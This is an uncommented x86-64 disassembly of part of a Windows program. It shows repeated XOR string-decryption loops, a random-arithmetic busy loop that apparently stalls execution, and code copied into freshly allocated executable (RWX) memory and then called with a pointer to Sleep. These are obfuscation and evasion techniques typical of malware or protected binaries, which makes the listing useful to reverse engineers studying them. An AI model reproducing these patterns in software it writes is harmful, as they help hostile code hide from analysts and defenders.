packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x14023f490
cmp r9d, 0x4f
jge 0x14023f66c
movsxd rax, r9d
lea r10, [rsp + 0x650]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x14023f620
xorps xmm0, xmm0
movups xmmword [rsp + 0x358], xmm0
mov qword [rsp + 0x368], rdi
mov qword [rsp + 0x370], rdi
lea rax, [rsp + 0x650]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14023f692
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x358]
call fcn.14020c680
lea rcx, [rsp + 0x358]
call fcn.1401ffd40
movups xmm0, xmmword [0x14027f5a0]
movups xmmword [rsp + 0x840], xmm0
movups xmm1, xmmword [str._._____7__7___]
movups xmmword [rsp + 0x850], xmm1
movups xmm0, xmmword [0x14027f5c0]
movups xmmword [rsp + 0x860], xmm0
movups xmm1, xmmword [0x14027f5d0]
movups xmmword [rsp + 0x870], xmm1
movups xmm0, xmmword [0x14027f5e0]
movups xmmword [rsp + 0x880], xmm0
movups xmm1, xmmword [0x14027f5f0]
movups xmmword [rsp + 0x890], xmm1
movups xmm0, xmmword [str.n__nx0D]
movups xmmword [rsp + 0x8a0], xmm0
movups xmm1, xmmword [0x14027f610]
movups xmmword [rsp + 0x8b0], xmm1
mov eax, dword [0x14027f620]
mov dword [rsp + 0x8c0], eax
movzx eax, word [0x14027f624]
mov word [rsp + 0x8c4], ax
mov r9d, edi
cmp ebx, 2
jl 0x14023f8f3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x844]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x80
jl 0x14023f770
cmp r9d, 0x86
jge 0x14023f95f
movsxd rax, r9d
lea r10, [rsp + 0x840]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x86
jl 0x14023f910
xorps xmm0, xmm0
movups xmmword [rsp + 0x558], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x568], xmm1
lea rax, [rsp + 0x840]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14023f981
lea rdx, [rsp + 0x840]
lea rcx, [rsp + 0x558]
call fcn.14020c680
nop
lea rcx, [rsp + 0x558]
call fcn.1401fdef0
nop
lea rcx, [rsp + 0x558]
call fcn.140248aa0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x9644], 0xffffffff
mov dword [rsp + 0x82c4], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x82c4], eax
inc rdx
cmp rdx, 0x270
jb 0x14023f9e0
mov dword [rsp + 0x82c0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.1401f2240
mov r15, qword [rsp + 0x50]
add r15, 0x5f5e100
mov ebx, 1
nop dword [rax]
lea rcx, [rsp + 0x7d8]
call fcn.1401f2240
cmp qword [rax], r15
jge 0x14023fbbe
mov r14d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x82c0]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023fa8b
nop dword [rax + rax]
lea rcx, [rsp + 0x82c0]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023fa70
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0x98], eax
lea rcx, [rsp + 0x82c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023fadb
nop
lea rcx, [rsp + 0x82c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023fac0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x82c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023fb2b
nop
lea rcx, [rsp + 0x82c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023fb10
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x82c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023fb7b
nop
lea rcx, [rsp + 0x82c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023fb60
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0x98]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r14, rbx
jne 0x14023fa50
jmp 0x14023fa30
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [0x14027e2f0]
movups xmmword [rsp + 0x600], xmm0
movups xmm1, xmmword [0x14027e300]
movups xmmword [rsp + 0x610], xmm1
movups xmm0, xmmword [0x14027e310]
movups xmmword [rsp + 0x620], xmm0
movups xmm1, xmmword [0x14027e320]
movups xmmword [rsp + 0x630], xmm1
mov eax, dword [0x14027e330]
mov dword [rsp + 0x640], eax
movzx eax, word [0x14027e334]
mov word [rsp + 0x644], ax
movzx eax, byte [0x14027e336]
mov byte [rsp + 0x646], al
mov r9d, edi
cmp dword [0x140291090], 2
movabs r14, 0xff00ff00ff00ff00
mov r15, 0xffffffffffffffff
jl 0x14023fddd
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x604]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x14023fc60
cmp r9d, 0x47
jge 0x14023fe3c
movsxd rax, r9d
lea r10, [rsp + 0x600]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x47
jl 0x14023fdf0
xorps xmm0, xmm0
movups xmmword [rsp + 0x538], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x548], xmm1
lea rax, [rsp + 0x600]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14023fe60
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x538]
call fcn.14020c680
nop
lea rcx, [rsp + 0x538]
call fcn.1401fdef0
nop
lea rcx, [rsp + 0x538]
call fcn.140248aa0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1a8], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140295120]
test rcx, rcx
je 0x14023ff2a
mov r8, rdi
lea rax, [0x14024a780]
nop
cmp rcx, rax
je 0x14023ff19
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x295120]
test rcx, rcx
jne 0x14023ff00
jmp 0x14023ff2a
mov r8, qword [rsi + r8*8 + 0x297400]
test r8, r8
jne 0x140240016
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023ff53
mov r8, rdi
jmp 0x14023ffee
lea rax, [0x14024a780]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023ff60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140295a90]
lea rcx, [0x14024a780]
mov qword [rsi + rax*8 + 0x295120], rcx
mov qword [rsi + rax*8 + 0x297400], r8
inc rax
mov qword [0x140295a90], rax
lea rdx, [rsp + 0x1a8]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027d258]
movups xmmword [rsp + 0x4b8], xmm0
movups xmm1, xmmword [0x14027d268]
movups xmmword [rsp + 0x4c8], xmm1
movups xmm0, xmmword [0x14027d278]
movups xmmword [rsp + 0x4d8], xmm0
movsd xmm0, qword [0x14027d288]
movsd qword [rsp + 0x4e8], xmm0
movzx eax, byte [0x14027d290]
mov byte [rsp + 0x4f0], al
mov r9d, edi
cmp dword [0x140291090], 2
jl 0x14024022d
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x4bc]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1402400b0
cmp r9d, 0x39
jge 0x14024028c
movsxd rax, r9d
lea r10, [rsp + 0x4b8]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x39
jl 0x140240240
xorps xmm0, xmm0
movups xmmword [rsp + 0x518], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x528], xmm1
lea rax, [rsp + 0x4b8]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1402402b0
lea rdx, [rsp + 0x4b8]
lea rcx, [rsp + 0x518]
call fcn.14020c680
nop
lea rcx, [rsp + 0x518]
call fcn.1401fdef0
nop
lea rcx, [rsp + 0x518]
call fcn.140248aa0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1b0], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140295120]
test rcx, rcx
je 0x14024037a
mov r8, rdi
lea rax, [0x14024a780]
nop
cmp rcx, rax
je 0x140240369
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x295120]
test rcx, rcx
jne 0x140240350
jmp 0x14024037a
mov r8, qword [rsi + r8*8 + 0x297400]
test r8, r8
jne 0x140240466
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402403a3
mov r8, rdi
jmp 0x14024043e
lea rax, [0x14024a780]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402403b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140295a90]
lea rcx, [0x14024a780]
mov qword [rsi + rax*8 + 0x295120], rcx
mov qword [rsi + rax*8 + 0x297400], r8
inc rax
mov qword [0x140295a90], rax
lea rdx, [rsp + 0x1b0]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
movups xmm0, xmmword [str..05_j_4__2_fB]
movups xmmword [rsp + 0x6d8], xmm0
movups xmm1, xmmword [0x14027e708]
movups xmmword [rsp + 0x6e8], xmm1
movups xmm0, xmmword [0x14027e718]
movups xmmword [rsp + 0x6f8], xmm0
movsd xmm0, qword [0x14027e728]
movsd qword [rsp + 0x708], xmm0
mov r9d, edi
cmp dword [0x140291090], 2
jl 0x140240665
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x6dc]
nop
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1402404f0
jmp 0x1402406b5
lea r10, [rsp + 0x6d8]
nop dword [rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140240670
xorps xmm0, xmm0
movups xmmword [rsp + 0x4f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x508], xmm1
lea rax, [rsp + 0x6d8]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402406e0
lea rdx, [rsp + 0x6d8]
lea rcx, [rsp + 0x4f8]
call fcn.14020c680
nop
lea rcx, [rsp + 0x4f8]
call fcn.1401fdef0
nop
lea rcx, [rsp + 0x4f8]
call fcn.140248aa0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1b4], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140295120]
test rcx, rcx
je 0x1402407aa
mov r8, rdi
lea rax, [0x14024a780]
nop
cmp rcx, rax
je 0x140240799
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x295120]
test rcx, rcx
jne 0x140240780
jmp 0x1402407aa
mov r8, qword [rsi + r8*8 + 0x297400]
test r8, r8
jne 0x140240896
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402407d3
mov r8, rdi
jmp 0x14024086e
lea rax, [0x14024a780]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402407e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140295a90]
lea rcx, [0x14024a780]
mov qword [rsi + rax*8 + 0x295120], rcx
mov qword [rsi + rax*8 + 0x297400], r8
inc rax
mov qword [0x140295a90], rax
